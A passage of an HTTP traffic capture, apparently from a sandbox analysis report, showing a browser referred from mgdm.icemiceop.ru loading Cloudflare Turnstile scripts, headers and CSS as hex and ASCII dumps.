2025-03-27 13:34:04 UTC	7581	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 69 2e 78 68 72 28 29 3b 69 66 28 72 2e 6f 70 65 6e 28 69 2e 74 79 70 65 2c 69 2e 75 72 6c 2c 69 2e 61 73 79 6e 63 2c 69 2e 75 73 65 72 6e 61 6d 65 2c 69 2e 70 61 73 73 77 6f 72 64 29 2c 69 2e 78 68 72 46 69 65 6c 64 73 29 66 6f 72 28 6e 20 69 6e 20 69 2e 78 68 72 46 69 65 6c 64 73 29 72 5b 6e 5d 3d 69 2e 78 68 72 46 69 65 6c 64 73 5b 6e 5d 3b 66 6f 72 28 6e 20 69 6e 20 69 2e 6d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 28 69 2e 6d 69 6d 65 54 79 70 65 29 2c 69 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 7c 7c 65 5b 22 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 22 5d 7c 7c 28 65 5b 22 58 2d 52 Data Ascii: :function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(n in i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain\|\|e["X-Requested-With"]\|\|(e["X-R

Timestamp	Bytes transferred	Direction	Data
2025-03-27 13:34:04 UTC	617	OUT	GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://mgdm.icemiceop.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 13:34:04 UTC	386	IN	HTTP/1.1 302 Found Date: Thu, 27 Mar 2025 13:34:04 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/b/708f7a809116/api.js Server: cloudflare CF-RAY: 926f435e0f5bf834-EWR alt-svc: h3=":443"; ma=86400

Timestamp	Bytes transferred	Direction	Data
2025-03-27 13:34:04 UTC	601	OUT	GET /turnstile/v0/b/708f7a809116/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://mgdm.icemiceop.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 13:34:04 UTC	471	IN	HTTP/1.1 200 OK Date: Thu, 27 Mar 2025 13:34:04 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 48123 Connection: close accept-ranges: bytes last-modified: Tue, 18 Mar 2025 12:36:20 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 926f43608bc5bdbc-EWR alt-svc: h3=":443"; ma=86400
2025-03-27 13:34:04 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 6a 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 76 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 6c 5d 28 76 29 2c 73 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 61 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 74 28 73 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 73 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 71 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2c 61 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 74 2c 61 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function jt(e,t,a,o,c,l,v){try{var h=e[l](v),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function qt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);funct
2025-03-27 13:34:04 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 49 72 28 65 2c 74 29 7b 76 61 72 20 61 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 74 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 61 2e 70 75 73 68 2e 61 70 70 6c 79 28 61 2c 6f 29 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 69 74 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 3d 74 21 3d 6e 75 Data Ascii: e}function Ir(e,t){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);t&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),a.push.apply(a,o)}return a}function it(e,t){return t=t!=nu
2025-03-27 13:34:04 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 6f 74 28 65 2c 74 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 49 65 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 7a 74 28 65 29 7c 7c 42 74 28 65 2c 74 29 7c 7c 58 74 28 65 2c 74 29 7c 7c 47 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 50 65 28 65 2c 74 29 7b 76 61 72 20 61 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6c 5b 30 Data Ascii: ray$/.test(a))return ot(e,t)}}function Ie(e,t){return zt(e)\|\|Bt(e,t)\|\|Xt(e,t)\|\|Gt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Pe(e,t){var a={label:0,sent:function(){if(l[0
2025-03-27 13:34:04 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 51 74 3d 33 30 30 30 32 30 3b 76 61 72 20 57 65 3d 33 30 30 30 33 30 3b 76 61 72 20 55 65 3d 33 30 30 30 33 31 3b 76 61 72 20 71 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Qt=300020;var We=300030;var Ue=300031;var q;(fu
2025-03-27 13:34:04 UTC	1369	IN	Data Raw: 61 6e 75 61 6c 22 2c 65 2e 41 75 74 6f 3d 22 61 75 74 6f 22 7d 29 28 5a 7c 7c 28 5a 3d 7b 7d 29 29 3b 76 61 72 20 63 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 65 76 65 72 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 61 6e 75 61 6c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 75 74 6f 3d 22 61 75 74 6f 22 7d 29 28 63 65 7c 7c 28 63 65 3d 7b 7d 29 29 3b 76 61 72 20 51 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 6c 77 61 79 73 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 78 65 63 75 74 65 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 6e 74 65 72 61 63 74 69 6f 6e 4f 6e 6c 79 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 51 7c 7c 28 51 3d 7b 7d 29 29 3b 76 61 72 20 6d 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 52 65 6e 64 65 72 3d 22 72 Data Ascii: anual",e.Auto="auto"})(Z\|\|(Z={}));var ce;(function(e){e.Never="never",e.Manual="manual",e.Auto="auto"})(ce\|\|(ce={}));var Q;(function(e){e.Always="always",e.Execute="execute",e.InteractionOnly="interaction-only"})(Q\|\|(Q={}));var me;(function(e){e.Render="r
2025-03-27 13:34:04 UTC	1369	IN	Data Raw: 74 69 6f 6e 20 70 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 4d 2e 4e 6f 72 6d 61 6c 2c 4d 2e 43 6f 6d 70 61 63 74 2c 4d 2e 49 6e 76 69 73 69 62 6c 65 2c 4d 2e 46 6c 65 78 69 62 6c 65 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 76 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 6d 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 76 61 72 20 4e 72 3d 2f 5e 5b 61 2d 7a 5d 7b 32 2c 33 7d 28 5b 2d 5f 5d 5b 61 2d 7a 5d 7b 32 7d 29 3f 24 2f 69 3b 66 75 6e 63 74 69 6f 6e 20 67 74 28 65 29 7b 72 65 74 75 72 6e 20 65 3d 3d 3d 22 61 75 74 6f 22 7c 7c 4e 72 2e 74 65 73 74 28 65 29 Data Ascii: tion pt(e){return L([M.Normal,M.Compact,M.Invisible,M.Flexible],e)}function vt(e){return L(["auto","manual","never"],e)}function mt(e){return L(["auto","manual","never"],e)}var Nr=/^[a-z]{2,3}([-_][a-z]{2})?$/i;function gt(e){return e==="auto"\|\|Nr.test(e)
2025-03-27 13:34:04 UTC	1369	IN	Data Raw: 22 72 6f 2d 72 6f 22 5d 3b 66 75 6e 63 74 69 6f 6e 20 54 74 28 65 2c 74 29 7b 76 61 72 20 61 3d 22 68 74 74 70 73 3a 2f 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 22 3b 69 66 28 74 29 7b 76 61 72 20 6f 3b 61 3d 28 6f 3d 65 5b 22 62 61 73 65 2d 75 72 6c 22 5d 29 21 3d 3d 6e 75 6c 6c 26 26 6f 21 3d 3d 76 6f 69 64 20 30 3f 6f 3a 61 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 76 2c 68 29 7b 76 61 72 20 73 3d 54 74 28 61 2c 63 29 2c 70 3d 6c 3f 22 68 2f 22 2e 63 6f 6e 63 61 74 28 6c 2c 22 2f 22 29 3a 22 22 2c 5f 3d 68 3f 22 3f 22 2e 63 6f 6e 63 61 74 28 68 29 3a 22 22 2c 41 3d 61 5b 22 66 65 65 64 62 61 63 6b 2d 65 6e 61 62 6c 65 64 22 5d 3d 3d 3d 21 31 3f 22 66 62 44 Data Ascii: "ro-ro"];function Tt(e,t){var a="https://challenges.cloudflare.com";if(t){var o;a=(o=e["base-url"])!==null&&o!==void 0?o:a}return a}function Rt(e,t,a,o,c,l,v,h){var s=Tt(a,c),p=l?"h/".concat(l,"/"):"",_=h?"?".concat(h):"",A=a["feedback-enabled"]===!1?"fbD
2025-03-27 13:34:04 UTC	1369	IN	Data Raw: 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 7c 7c 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 72 65 74 75 72 6e 20 6f 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 63 2c 6f 7d 2c 65 65 28 65 2c 74 29 7d 66 75 6e 63 74 69 6f 6e 20 75 72 28 65 2c 74 29 7b 69 66 28 74 79 70 65 6f 66 20 74 21 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 21 3d 3d 6e 75 6c 6c 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 65 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 77 72 69 74 Data Ascii: .setPrototypeOf\|\|function(o,c){return o.__proto__=c,o},ee(e,t)}function ur(e,t){if(typeof t!="function"&&t!==null)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writ
2025-03-27 13:34:04 UTC	1369	IN	Data Raw: 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 65 65 28 63 2c 6f 29 7d 2c 47 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 73 72 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 26 26 28 46 28 74 29 3d 3d 3d 22 6f 62 6a 65 63 74 22 7c 7c 74 79 70 65 6f 66 20 74 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 3f 74 3a 7a 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 64 72 28 65 29 7b 76 61 72 20 74 3d 42 65 28 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6f 3d 6c 65 28 65 29 2c 63 3b 69 66 28 74 29 7b 76 61 72 20 6c 3d 6c 65 28 74 68 69 73 29 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3b 63 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 6f 2c 61 72 67 75 6d 65 6e 74 73 2c 6c 29 7d 65 6c 73 65 20 63 3d 6f 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 Data Ascii: nfigurable:!0}}),ee(c,o)},Ge(e)}function sr(e,t){return t&&(F(t)==="object"\|\|typeof t=="function")?t:ze(e)}function dr(e){var t=Be();return function(){var o=le(e),c;if(t){var l=le(this).constructor;c=Reflect.construct(o,arguments,l)}else c=o.apply(this,ar
2025-03-27 13:34:04 UTC	1369	IN	Data Raw: 74 69 6f 6e 28 65 2c 74 2c 61 29 7b 76 61 72 20 6f 3d 54 74 28 74 2e 70 61 72 61 6d 73 2c 21 31 29 2c 63 3d 22 68 2f 22 2e 63 6f 6e 63 61 74 28 22 62 22 2c 22 2f 22 29 2c 6c 2c 76 2c 68 3d 22 22 2e 63 6f 6e 63 61 74 28 6f 2c 22 2f 63 64 6e 2d 63 67 69 2f 63 68 61 6c 6c 65 6e 67 65 2d 70 6c 61 74 66 6f 72 6d 2f 22 29 2e 63 6f 6e 63 61 74 28 63 2c 22 66 65 65 64 62 61 63 6b 2d 72 65 70 6f 72 74 73 2f 22 29 2e 63 6f 6e 63 61 74 28 58 65 28 65 29 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 74 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 28 76 3d 74 2e 70 61 72 61 6d 73 2e 74 68 65 6d 65 29 21 3d 3d 6e 75 6c 6c 26 26 76 21 3d 3d 76 6f 69 64 20 30 3f 76 3a 74 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 61 29 3b Data Ascii: tion(e,t,a){var o=Tt(t.params,!1),c="h/".concat("b","/"),l,v,h="".concat(o,"/cdn-cgi/challenge-platform/").concat(c,"feedback-reports/").concat(Xe(e),"/").concat(t.displayLanguage,"/").concat((v=t.params.theme)!==null&&v!==void 0?v:t.theme,"/").concat(a);

Timestamp	Bytes transferred	Direction	Data
2025-03-27 13:34:06 UTC	842	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/rhyj1/0x4AAAAAAA6KdsxyDUaIwDmK/auto/fbE/new/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Sec-Fetch-Storage-Access: active Referer: https://mgdm.icemiceop.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 13:34:06 UTC	1297	IN	HTTP/1.1 200 OK Date: Thu, 27 Mar 2025 13:34:06 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 28103 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: default-src 'none'; script-src 'nonce-0HW3LJCsadx9I1fV' 'unsafe-eval'; script-src-attr 'none'; worker-src blob:; style-src 'unsafe-inline'; img-src 'self'; connect-src 'self'; frame-src 'self' blob:; child-src 'self' blob:; form-action 'none'; base-uri 'self'; sandbox allow-same-origin allow-scripts allow-popups allow-forms cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA
2025-03-27 13:34:06 UTC	411	IN	Data Raw: 63 72 69 74 69 63 61 6c 2d 63 68 3a 20 53 65 63 2d 43 48 2d 55 41 2d 42 69 74 6e 65 73 73 2c 20 53 65 63 2d 43 48 2d 55 41 2d 41 72 63 68 2c 20 53 65 63 2d 43 48 2d 55 41 2d 4d 6f 62 69 6c 65 2c 20 53 65 63 2d 43 48 2d 55 41 2d 4d 6f 64 65 6c 2c 20 53 65 63 2d 43 48 2d 55 41 2d 50 6c 61 74 66 6f 72 6d 2d 56 65 72 73 69 6f 6e 2c 20 53 65 63 2d 43 48 2d 55 41 2d 46 75 6c 6c 2d 56 65 72 73 69 6f 6e 2d 4c 69 73 74 2c 20 53 65 63 2d 43 48 2d 55 41 2d 50 6c 61 74 66 6f 72 6d 2c 20 53 65 63 2d 43 48 2d 55 41 2c 20 55 41 2d 42 69 74 6e 65 73 73 2c 20 55 41 2d 41 72 63 68 2c 20 55 41 2d 46 75 6c 6c 2d 56 65 72 73 69 6f 6e 2c 20 55 41 2d 4d 6f 62 69 6c 65 2c 20 55 41 2d 4d 6f 64 65 6c 2c 20 55 41 2d 50 6c 61 74 66 6f 72 6d 2d 56 65 72 73 69 6f 6e 2c 20 55 41 2d 50 Data Ascii: critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-P
2025-03-27 13:34:06 UTC	1030	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 22 20 63 6f 6e 74 65 6e 74 3d 22 64 65 66 61 75 6c 74 2d 73 72 63 20 26 23 78 32 37 3b 6e 6f 6e 65 26 23 78 32 37 3b 3b 20 73 63 72 69 70 74 2d 73 72 63 20 26 23 78 32 37 3b 6e 6f 6e 63 65 2d 30 48 57 33 4c 4a 43 73 61 64 78 39 49 31 66 56 26 23 78 32 37 3b 20 26 23 78 32 37 3b 75 6e 73 61 66 65 2d Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="x-ua-compatible" content="IE=Edge,chrome=1"> <meta http-equiv="content-security-policy" content="default-src 'none'; script-src 'nonce-0HW3LJCsadx9I1fV' 'unsafe-
2025-03-27 13:34:06 UTC	1369	IN	Data Raw: 6d 65 73 20 66 69 6c 6c 66 61 69 6c 7b 74 6f 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 33 30 70 78 20 30 20 30 20 23 64 65 31 33 30 33 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 69 6c 6c 66 61 69 6c 2d 6f 66 66 6c 61 62 65 6c 7b 74 6f 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 30 20 30 20 33 30 70 78 20 23 32 33 32 33 32 33 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 69 6c 6c 66 61 69 6c 2d 6f 66 66 6c 61 62 65 6c 2d 64 61 72 6b 7b 74 6f 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 30 20 30 20 33 30 70 78 20 23 66 66 66 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 73 63 61 6c 65 2d 75 70 2d 63 65 6e 74 65 72 7b 30 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 2e 30 31 29 7d 74 6f 7b 74 72 61 6e 73 66 6f 72 Data Ascii: mes fillfail{to{box-shadow:inset 0 30px 0 0 #de1303}}@keyframes fillfail-offlabel{to{box-shadow:inset 0 0 0 30px #232323}}@keyframes fillfail-offlabel-dark{to{box-shadow:inset 0 0 0 30px #fff}}@keyframes scale-up-center{0%{transform:scale(.01)}to{transfor
2025-03-27 13:34:06 UTC	1369	IN	Data Raw: 61 6c 69 67 6e 3a 72 69 67 68 74 7d 23 6f 76 65 72 72 75 6e 2d 69 2c 23 73 70 69 6e 6e 65 72 2d 69 7b 61 6e 69 6d 61 74 69 6f 6e 3a 73 70 69 6e 20 35 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 68 65 69 67 68 74 3a 33 30 70 78 3b 77 69 64 74 68 3a 33 30 70 78 7d 23 66 61 69 6c 2d 69 7b 61 6e 69 6d 61 74 69 6f 6e 3a 73 63 61 6c 65 2d 75 70 2d 63 65 6e 74 65 72 20 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 35 35 2c 2e 30 38 35 2c 2e 36 38 2c 2e 35 33 29 20 62 6f 74 68 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 30 20 30 20 23 64 65 31 33 30 33 7d 23 66 61 69 6c 2d 69 2c 23 73 75 63 63 65 73 73 2d 69 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 30 25 3b 64 69 73 70 6c 61 79 3a 66 Data Ascii: align:right}#overrun-i,#spinner-i{animation:spin 5s linear infinite;display:flex;height:30px;width:30px}#fail-i{animation:scale-up-center .6s cubic-bezier(.55,.085,.68,.53) both;box-shadow:inset 0 0 0 #de1303}#fail-i,#success-i{border-radius:50%;display:f
2025-03-27 13:34:06 UTC	1369	IN	Data Raw: 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 30 20 30 20 23 30 61 61 39 33 37 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 3a 23 30 61 61 39 33 37 3b 66 69 6c 6c 3a 23 30 61 61 39 33 37 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 65 78 70 69 72 65 64 2d 63 69 72 63 6c 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 74 69 6d 65 6f 75 74 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 39 39 39 3b 66 69 6c 6c 3a 23 39 39 39 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 65 78 70 Data Ascii: hadow:inset 0 0 0 #0aa937}.theme-dark .success-circle{stroke:#0aa937;fill:#0aa937}.theme-dark .expired-circle,.theme-dark .timeout-circle{stroke-dasharray:166;stroke-dashoffset:166;stroke-width:2;stroke-miterlimit:10;stroke:#999;fill:#999}.theme-dark #exp
